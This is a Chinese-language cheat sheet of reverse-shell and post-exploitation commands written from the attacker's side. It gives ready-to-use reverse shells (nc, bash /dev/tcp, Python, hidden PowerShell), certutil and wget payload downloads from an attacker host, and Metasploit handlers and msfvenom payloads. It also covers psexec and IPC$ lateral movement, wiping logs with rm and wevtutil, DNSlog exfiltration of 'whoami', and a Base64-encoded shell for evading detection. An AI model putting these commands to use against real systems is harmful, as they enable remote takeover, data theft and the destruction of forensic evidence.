反弹Shell与渗透命令

[TOC]

反弹Shell与渗透命令

一、反弹Shell核心模块

1. 核心概念与前提条件

  • 核心定义:反弹Shell是目标主机主动向攻击者控制的主机发起连接,建立命令行控制通道的技术,本质是「反向主动连接」,用于突破防火墙入站限制、端口占用等问题。
  • 必备前提:已通过漏洞(如命令执行、文件上传)获取目标主机的命令执行权限,且目标主机能与攻击者主机网络连通(目标可出网或内网可达)。

2. 为什么需要反弹Shell

  • 突破防护:防火墙仅放行少量入站端口(如80、443),正向连接无法建立,反弹Shell利用目标出站权限绕过限制;
  • 隐藏痕迹:无需在目标开放端口,减少被端口扫描发现的风险;
  • 适配环境:解决目标无公网IP、数据不回显等场景下的控制需求;
  • 横向渗透:获取单台主机控制权后,通过反弹Shell向内网其他主机扩散。

3. 在线生成工具(快速高效)

4. 反弹Shell分类与适用场景

分类维度 具体类型 技术特点 适用场景
连接方式 Reverse(反向连接) 目标主动连攻击者监听端口,无需开放目标入站端口 目标可出网、防火墙限制入站
连接方式 Bind(正向绑定) 目标开放本地端口并监听,攻击者主动连接该端口 目标入站端口可访问(内网/公网)
实现方式 系统自带命令 无需额外下载工具,依赖系统内置命令(如nc、bash、powershell) 目标无外网下载权限、需快速拿权
实现方式 开发语言 依赖目标已安装的语言环境(Python/Java/PHP),兼容性强 系统自带命令被禁用的场景
实现方式 第三方项目 远程下载工具(如nc、meterpreter)后执行,功能更强大(如自动重连) 目标可出网、需稳定控制通道

5. 跨系统实操命令(重点必记)

(1)Linux系统反弹Shell

  • 系统自带nc命令(最常用):nc -e /bin/bash 攻击者IP 监听端口(如nc -e /bin/bash 192.168.1.100 6666
  • Bash原生命令(无nc时):bash -i >& /dev/tcp/攻击者IP/监听端口 0>&1
  • Python语言(跨版本兼容):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'

(2)Windows系统反弹Shell

  • PowerShell(核心推荐,默认支持):powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('攻击者IP',监听端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbackbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbackbyte,0,$sendbackbyte.Length);$stream.Flush()};$client.Close()"
  • 远程下载nc执行:certutil -urlcache -split -f http://攻击者IP/nc.exe && nc.exe 攻击者IP 监听端口 -e cmd.exe(需攻击者搭建HTTP服务器存放nc.exe)

(3)攻击者监听命令(接收连接)

  • Linux:nc -lvp 监听端口(如nc -lvp 6666
  • Windows:nc.exe -lvp 监听端口(需本地安装nc工具)
  • Metasploit监听(稳定控制):msfconsole -x "use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set lhost 攻击者IP;set lport 监听端口;run"

6. 攻击思路

  • 快速拿权优先:目标可出网时,用系统自带命令(如bash、powershell)反弹,无需额外下载,降低检测风险;
  • 稳定控制选工具:需要持久化、横向渗透时,用Metasploit生成meterpreter payload(如msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=端口 -f exe -o shell.exe),上传目标执行,支持自动重连、提权等功能;
  • 绕过限制技巧:若目标禁用nc/bash/powershell,改用开发语言(如Python/PHP)反弹,或通过文件下载工具获取第三方Shell工具;
  • 内网场景适配:目标仅内网可达时,攻击者先接入内网(如VPN、跳板机),再让目标反弹至内网IP。

二、渗透命令核心模块

1. 核心用途与参考资源

2. 高频渗透命令分类(按用途)

(1)文件下载命令(获取工具/上传数据)

  • Linux:
    • wget:wget http://攻击者IP/工具名 -O 保存路径(如wget http://192.168.1.100/nmap -O /tmp/nmap
    • curl:curl -o 保存路径 http://攻击者IP/工具名(如curl -o /tmp/linpeas.sh http://192.168.1.100/linpeas.sh
  • Windows:
    • certutil(默认支持):certutil -urlcache -split -f http://攻击者IP/工具.exe 保存路径(如certutil -urlcache -split -f http://192.168.1.100/msf.exe C:\tmp\msf.exe
    • powershell:(New-Object System.Net.WebClient).DownloadFile('http://攻击者IP/工具.exe','C:\tmp\工具.exe')

(2)信息收集命令(摸清目标环境)

  • Linux:
    • 系统信息:uname -a(内核版本)、cat /etc/issue(系统版本)、hostname(主机名)
    • 权限信息:id(当前用户权限)、sudo -l(可执行sudo的命令)
    • 网络信息:ip addr(网卡信息)、route -n(路由表)、netstat -tulnp(监听端口)
  • Windows:
    • 系统信息:systeminfo(完整系统信息)、ver(系统版本)
    • 权限信息:whoami(当前用户)、net user(用户列表)
    • 网络信息:ipconfig /all(网卡信息)、netstat -ano(监听端口+进程ID)

(3)权限提升与横向移动命令

  • Linux:
    • 提权检测:find / -perm -4000 2>/dev/null(查找SUID权限文件)、./linpeas.sh(运行提权脚本)
    • 横向移动:ssh 目标内网IP "命令"(SSH免密登录)、scp 本地文件 目标IP:路径(传输文件)
  • Windows:
    • 提权检测:whoami /priv(查看用户权限)、wmic qfe get Caption,Description,HotFixID,InstalledOn(查看补丁情况)
    • 横向移动:net use \\目标IP\ipc$ "密码" /user:"用户名"(建立IPC连接)、psexec \\目标IP -u 用户名 -p 密码 cmd.exe(远程执行命令)

3. 攻击思路

  • 先收集再行动:拿到Shell后,先用信息收集命令摸清系统版本、权限、网络拓扑,再制定提权/横向策略,避免盲目操作;
  • 工具按需下载:根据目标环境选择文件下载命令(如Windows优先用certutil,Linux用wget),快速获取提权脚本、扫描工具;
  • 隐藏操作痕迹:执行命令后清理日志(Linux:rm -rf /var/log/auth.log;Windows:wevtutil cl System && wevtutil cl Security),降低被检测风险;
  • 命令组合复用:将高频命令写成脚本(如Linux信息收集脚本、Windows提权检测脚本),上传目标一键执行,提升渗透效率。

三、实战场景适配技巧

1. 不同网络环境选择策略

  • 目标可出网:优先用Reverse反弹Shell,搭配公网VPS监听,文件下载用HTTP协议快速获取工具;
  • 目标仅内网:攻击者通过跳板机接入内网,目标反弹至跳板机内网IP,文件传输用SCP/IPC$协议;
  • 数据不回显:反弹Shell前用DNSlog外带确认命令执行(如ping $(whoami).xxx.ceye.io),再反弹稳定Shell。

2. 防护绕过技巧

  • 命令执行被拦截:将命令Base64编码执行(Linux:echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ==" | base64 -d | bash;Windows:powershell -EncodedCommand 编码字符串);
  • 下载工具被阻断:改用冷门协议下载(如FTP:ftp -v -n 攻击者IP 21 << EOF get 工具.exe EOF);
  • Shell被查杀:用加密Shell(如Metasploit加密payload)或无文件Shell(如Powershell内存执行)。